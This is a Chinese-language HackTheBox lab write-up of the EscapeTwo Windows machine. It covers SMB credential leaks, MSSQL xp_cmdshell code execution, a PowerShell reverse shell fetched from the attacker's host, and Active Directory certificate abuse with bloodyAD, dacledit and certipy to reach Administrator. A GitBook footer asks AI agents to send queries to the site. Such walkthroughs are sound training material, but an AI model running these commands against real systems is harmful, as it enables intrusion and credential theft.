> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md). # EscapeTwo HackTheBox 复盘 EscapeTwo HackTheBox 简单 Windows 机器复盘，涵盖 SMB 枚举、信息密码泄露（zip、Excel 文件）、MSSQL（Microsoft SQL）利用 RCE、BloodHund 枚举，并包含实 {% embed url="" %} {% hint style="warning" %} **技能：** * SMB 枚举 * 信息密码泄露（zip、Excel 文件） * MSSQL（Microsoft SQL）利用 RCE * BloodHund 枚举 * CA/\_SVC 用户的 WriteOwner（权限提升） {% endhint %} 在这个 Windows 环境渗透测试中，我们有以下凭据： * 用户名： `rose` * 密码： `KxEPkKe6R8su` ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到 `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` 剪贴板

使用 Nmap 进行端口版本扫描：使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted ```

要通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件：

### 445端口 - SMB **使用 CrackMapExec 验证用户** 我们确认 `rose` 用户存在于域控制器（DC）上： ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' ```

**SMB 共享枚举** 我们使用以下命令列出可访问的共享： `--shares` 命令： ```bash crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares ``` **结果**：可以看到两个有趣的文件夹： * `Users` * `会计部门`

/*/* 使用 smbclient/ 连接到 SMB 共享*/* 我们访问 **会计部门**: ```bash smbclient '//10.10.11.51/Accounting Department' -U rose ``` 在这个目录中，我们恢复了两个 Excel 文件： ```powershell get accounting_2024.xlsx get accounts.xlsx ```

**文件格式识别** 使用 `文件` 通过命令，我们确定这些文件实际上是 ZIP 归档。

**ZIP 文件提取** 我们解压恢复的文件：

**搜索敏感信息** 我们过滤提取出的文件，以查找包含关键词 **密码**: ```bash find . -type f -name "*.txt" -exec grep -iH "password" {} + ```

**结果**：一个名为 `shareStrings.xml` 的文件包含了用户和密码列表。

名字	姓氏	电子邮件	用户名	密码
Angela	Martin	angela@sequel.htb	angela	0fwz7Q4mSpurIt99
Oscar	Martinez	oscar@sequel.htb	oscar	86LxLBMgEWaKUnBG
Kevin	Malone	kevin@sequel.htb	kevin	Md9Wlq1E5bZnVDVo
		sa@sequel.htb	sa	MSSQLP@ssw0rd!

**使用 CrackMapExec 测试账号** 我们使用恢复的凭据来验证账户： ```bash crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99' crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG' crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo' crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' ``` **结果**：只有 `oscar` 用户有效。

## MSSQL（Microsoft SQL）利用 **端口 1433（MSSQL）** 1433 端口开放，这表明有一个 Microsoft SQL 服务器在监听。我们将使用之前恢复的不同用户测试连接。

**MSSQL 连接测试** 我们使用 `mssqlclient.py` 尝试连接： ```bash mssqlclient.py sequel.htb/angela@10.10.11.51 mssqlclient.py sequel.htb/oscar@10.10.11.51 mssqlclient.py sequel.htb/kevin@10.10.11.51 ```

**结果**：只有用户 `sa` 可用。 ```bash mssqlclient.py sequel.htb/sa@10.10.11.51 ```

### 通过 MSSQL 获取反向 Shell **启用命令执行** 为了执行系统命令，我们启用 `xp_cmdshell`: ```sql enable_xp_cmdshell ``` 然后我们用一个简单命令进行测试，例如 `ipconfig`: ```sql xp_cmdshell ipconfig ```

**在我们机器上准备监听** 我们在 4444 端口启动一个监听器： ```bash rlwrap nc -nvlp 4444 ``` **下载一个 PowerShell 脚本** 我们正在准备一个名为 `PS.ps1` 的 PowerShell 脚本，其中包含一个反向 shell 命令。在脚本末尾，我们添加以下一行： {% embed url="" %} 在脚本末尾，我们添加以下一行： ```bash Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444 ``` 我们将这个脚本托管在本地 Web 服务器上： ```bash python3 -m http.server 80 ``` **反向 shell 执行** 从 MSSQL 服务器上，我们执行以下命令来下载并运行 PowerShell 脚本： ```sql xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')" ```

## 转向用户 Ryan **发现新的凭据** 通过探索系统，我们发现一个名为 **SQL2019** 的目录位于根目录中。在其中，我们找到了以下凭据： * 用户名： `ryan` * 密码： `WqSZAF6CysDQbGb3`

**使用 CrackMapExec 验证凭据** 我们检查这些凭据是否有效： ```bash crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3' ```

通过探索共享目录，我们识别出一个名为 `ryan`的用户。我们使用与 `sql_svc`:

**结果**相同的凭据进行测试：凭据对用户也有效 `ryan`. ```bash crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

Evil-winrm ```bash evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' ```

### user.txt 标志 :)

## 权限提升 ### BloodHund-python 枚举使用的命令： ```bash bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All ```

## WriteOwner： **观察：**/ 这个 **Ryan** 用户拥有 `WriteOwner` 对 **CA/ SVC** 账户的授权，而该账户也是证书颁发者。这意味着我们可以修改账户所有者 **CA/ SVC** 以关联 **Ryan**.

### 使用 BloodyAD 控制 CA/\_SVC #### 更改账户所有者 {% code overflow="wrap" %} ```bash bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan' ``` {% endcode %} 该命令使用 BloodyAD 修改 **CA/ SVC** 的所有者并将其定义为 **Ryan**。作为所有者， **Ryan** 现在可以更改与该账户关联的权限。 ### 使用 Dacledit 修改权限 #### 赋予 Ryan 完全权限 {% code overflow="wrap" %} ```bash dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3 ``` {% endcode %} 该命令修改 **DACL** （自由访问控制列表） **CA/ SVC** 账户，以便将完全控制权限授予 **Ryan**。这使 Ryan 可以重置密码或操作身份验证密钥。

### Shadow Credentials 提取 #### 生成并获取 NT 哈希打印 {% code overflow="wrap" %} ```bash certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51 ``` {% endcode %}

CA/\_SVC 的 NT 哈希 **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce` 该 **Certipy** 命令为 **CA/ SVC**生成一个身份验证密钥，从而启用基于证书的身份验证。还会生成一个 `.ccache` 文件，这有助于基于 Kerberos 的攻击。 ### 修改模型证书 #### 调整 DunderMifflinAuthentication 模型 {% code overflow="wrap" %} ```bash KRB5CCNAME=$PWD/ca_svc.ccache certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.10.11.51 ``` {% endcode %}

该命令修改 **DunderMifflinAuthentication** 证书模板，以允许签发高权限证书。 ### 为管理员签发证书 #### 请求一个用于冒充的证书 {% code overflow="wrap" %} ```bash certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 ``` {% endcode %}

该命令要求为 Administrator 申请证书（`Administrator@sequel.htb`），从而允许冒充该账户身份。 ### 以 Administrator 身份认证 #### 使用证书进行认证 ```bash certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51 ```

**NTLMv2 哈希：** `7a8d4e04986afa8ed4060f75e5a0b3ff` ```bash evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff" ```

该命令使用先前获得的证书以 Administrator 身份进行认证，并恢复 NTLM 哈希。 ### root.txt 标志 :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.